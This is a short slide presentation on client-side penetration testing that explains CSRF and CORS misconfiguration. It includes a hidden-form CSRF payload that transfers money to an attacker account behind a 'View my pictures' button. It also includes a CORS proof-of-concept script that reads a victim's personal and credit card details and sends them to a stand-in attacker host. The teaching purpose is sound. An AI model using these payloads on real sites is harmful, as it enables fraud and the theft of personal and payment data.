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Ähnlich wie PENETRATION TEST ( CLIENT-SIDE ) CSRF / CORS MISCONFIGURATION
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PENETRATION TEST ( CLIENT-SIDE ) CSRF / CORS MISCONFIGURATION
- 1. PENETRATION TEST ( CLIENT-SIDE ) CSRF/CORS MISCONFIGURATION Presented By : Tadj Youssouf Fb.com/oc3f.dz
- 2. Client-Side Penetration Testing Presentation CSRF CSRF EXPLOITATION CORS Misconfiguration Misconceptions CORS Misconfiguration Misconceptions exploitation
- 3. Pentesters need to find a way to make the victims open the door for them to get into the network, Or force the victim to execute some scripts and actions without his will. or reading some personal details . Client side attacks require user-interaction such as enticing them to click a link, open a document, or somehow get to your malicious website. or infected website , That's why companies are very careful about this kind of attacks . Client-Side Penetration Testing Presentation
- 4. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application. CSRF
- 5. let's suppose the attacker has found a CSRF that allow him to force the victim to send him a money in https://poker-example-website.com So with a simple click by the victim on (View my pictures ) in website-attacker.com/csrf.html the money can be sent to the attacker . Example HTML SOURCE : <form action="https://poker-example-website.com/transfer.do" method="POST"> <input type="hidden" name="acct" value="ATTACKER_ACCT"/> <input type="hidden" name="amount" value="1000"/> <input type="submit" value="View my pictures"/> </form> CSRF EXPLOITATION
- 6. For example the attacker can read arbitrary data from the accounts of other users. CORS Misconfiguration Misconceptions :
- 7. If the attacker find a CORS Misconfiguration in https://poker-example- website.com he can read the victims personal details Example : Name Date of birth Address Credit card number Date of expiration card CVV If the victim visit poker-example-website.com/cors.html the attacker will receive all the personnel details in logs.txt that was sent by the request log?key='+this.responseText CORS Misconfiguration Misconceptions :
- 8. Example HTML source : <!DOCTYPE html> <html> <body> <center> <h1> CORS POC EXPLOIT </h1> <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','http://api.poker-example-website.com/view.php?action=details',true); req.withCredentials = true; req.send(); function reqListener() { location='//website-attacker.com/log?key='+this.responseText; }; </script> </body> </html>